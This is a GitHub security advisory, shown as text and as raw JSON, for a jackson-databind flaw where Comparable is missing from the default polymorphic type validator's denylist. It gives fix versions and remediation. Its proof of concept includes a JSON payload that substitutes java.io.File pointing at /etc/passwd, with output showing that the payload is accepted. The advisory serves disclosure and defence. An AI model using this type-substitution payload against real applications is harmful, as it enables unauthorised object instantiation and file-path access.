GHSA-GX83-3VF8-GH7J
Vulnerability from github – Published: 2026-09-28 20:44 – Updated: 2026-09-28 20:44Summary
DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.
Details
Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java
private final static class UnsafeBaseTypes {
private final Set<String> UNSAFE = new HashSet<>();
{
UNSAFE.add(Object.class.getName());
UNSAFE.add(java.io.Closeable.class.getName());
UNSAFE.add(java.io.Serializable.class.getName());
UNSAFE.add(AutoCloseable.class.getName());
UNSAFE.add(Cloneable.class.getName());
UNSAFE.add(Runnable.class.getName()); // [databind#5014]
UNSAFE.add("java.util.logging.Handler");
UNSAFE.add("javax.naming.Referenceable");
UNSAFE.add("javax.sql.DataSource");
// java.lang.Comparable is NOT present here
}
}
protected boolean isSafeSubType(DatabindContext ctxt,
JavaType baseType, JavaType subType) {
return true; // unconditional for every base type not in UNSAFE
}
The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).
This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().
PoC
Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):
1. Sanity check (benign class, confirms the mechanism fires):
static class SafeThing implements Comparable<SafeThing> {
public String name;
public SafeThing() {}
public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Comparable<?> value;
}
ObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing
2. Real JDK class substitution:
String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd
3. Negative control — Default Typing with an explicit custom PTV:
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
.activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"
Observed output:
$ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd
$ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution
Impact
Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.
Suggested remediation:
1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0"
},
{
"fixed": "2.18.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83557"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-28T20:44:25Z",
"nvd_published_at": "2026-09-01T15:17:37Z",
"severity": "MODERATE"
},
"details": "### Summary\n`DefaultBaseTypeLimitingValidator` \u2014 the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator \u2014 denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes \u2014 comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n private final Set\u003cString\u003e UNSAFE = new HashSet\u003c\u003e();\n {\n UNSAFE.add(Object.class.getName());\n UNSAFE.add(java.io.Closeable.class.getName());\n UNSAFE.add(java.io.Serializable.class.getName());\n UNSAFE.add(AutoCloseable.class.getName());\n UNSAFE.add(Cloneable.class.getName());\n UNSAFE.add(Runnable.class.getName()); // [databind#5014]\n UNSAFE.add(\"java.util.logging.Handler\");\n UNSAFE.add(\"javax.naming.Referenceable\");\n UNSAFE.add(\"javax.sql.DataSource\");\n // java.lang.Comparable is NOT present here\n }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n JavaType baseType, JavaType subType) {\n return true; // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class\u0027s own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice \u2014 consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument \u2014 a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable\u003cSafeThing\u003e {\n public String name;\n public SafeThing() {}\n public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n public Comparable\u003c?\u003e value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control \u2014 Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id \u0027java.io.File\u0027 as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.",
"id": "GHSA-gx83-3vf8-gh7j",
"modified": "2026-09-28T20:44:25Z",
"published": "2026-09-28T20:44:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83557"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/6156"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/6155"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator\u0027s unsafe base types (incomplete PolymorphicTypeValidator denylist)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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